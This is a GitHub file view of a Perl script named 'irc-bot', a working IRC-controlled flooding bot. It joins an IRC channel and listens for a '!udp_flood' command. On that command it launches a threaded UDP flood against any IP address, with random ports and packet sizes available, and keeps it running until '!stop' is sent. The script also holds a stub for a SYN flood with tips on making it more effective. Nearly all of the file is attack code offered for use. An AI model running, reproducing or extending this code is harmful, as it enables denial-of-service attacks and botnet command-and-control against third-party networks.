-
Notifications
You must be signed in to change notification settings - Fork 1
/
irc-bot
executable file
·131 lines (110 loc) · 3.32 KB
/
irc-bot
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/perl -w
use strict;
# Object interface for socket communications
use IO::Socket;
# Perl interpreter-based threads
use threads;
use threads::shared;
# Thread used to run the main subroutine
my $thr;
# Flag to stop the subroutine
my $interrupt :shared;
# UDP Flood subroutine (not a real function per se)
sub udp_flood_attack
{
print "=> UDP Flood Started\n";
# Target host
my ($ip, $port, $size, $time) = @_;
# Attack duration
my $endtime = time() + ($time ? $time : 1000000);
# Opens an UDP socket to send packets
socket("flood", PF_INET, SOCK_DGRAM, 17);
# Auxiliary variables
my ($psize, $pport, $msg, $to);
# UDP Flood
while (time() <= $endtime)
{
if ($interrupt) { print "=> UDP Flood Stopped\n"; return; }
# Sleeping for a fraction of a second keeps the script
# from running to 100 cpu usage.
select(undef, undef, undef, 0.01);
$psize = $size ? $size : int(rand(1024 - 64) + 64);
$pport = $port ? $port : int(rand(65500)) + 1;
$msg = pack("a$psize", "flood");
$to = pack_sockaddr_in($pport, inet_aton("$ip"));
send("flood", $msg, 0, $to) or die "send $ip: $!";
}
}
# SYN Flood subroutine
# To enhance the effectiveness of the attack, find out:
# - the size of the tcp connections backlog queue;
# - the time out period for the tcp connections.
sub syn_flood_attack
{
# TODO
}
my $channel = '#testchannel';
my $nick = 'IRCBot';
my $user = 'Hey there! I\'m a Bot.';
# Creates a new client. Timeout is defined in seconds.
my $con = IO::Socket::INET->new(
PeerAddr => 'irc.arcti.ca',
PeerPort => '6667',
Proto => 'tcp',
Timeout => '30'
) or die "Error! $!\n";
# Joins the IRC
print $con "USER $user\r\n";
print $con "NICK $nick\r\n";
print $con "JOIN $channel\r\n";
# IRC connection loop
while (my $answer = <$con>)
{
# Shows server reply
print $answer;
# Answers to ping requests (to keep connection alive)
if ($answer =~ /^PING (.*?)$/mgi)
{
print "Replying with PONG ".$1."\n";
print $con "PONG ".$1."\r\n";
}
# Shows avaliable commands
if ($answer =~ /(:!commands|:!help)/mgi)
{
print $con "PRIVMSG $channel :To start attacking, run: ".
"!udp_flood <dest_ip> <dest_port> <packet_size> <time>\r\n";
print $con "PRIVMSG $channel :To stop, run: !stop\r\n";
print $con "PRIVMSG $channel :Tip: dest_port, packet_size and time can ".
"be set to zero (eg: !udp_flood 192.168.0.1 0 0 0). It allows ".
"to send random packets to random ports util the !stop ".
"order.\r\n";
}
# Starts the attack
if ($answer =~ /(:!udp_flood\s+)(.+) (\d+) (\d+) (\d+)/mgi)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel :UDP Flood is running...\r\n";
}
else
{
print $con "PRIVMSG $channel :UDP Flood started!\r\n";
$interrupt = 0;
$thr = threads->create('udp_flood_attack', ("$2", "$3", "$4", "$5"));
$thr->detach();
}
}
# Finishes the attack
if ($answer =~ /!stop/)
{
if ($thr && $thr->is_running())
{
print $con "PRIVMSG $channel :UDP Flood stopped!\r\n";
$interrupt = 1;
}
else
{
print $con "PRIVMSG $channel :Nothing to stop.\r\n";
}
}
}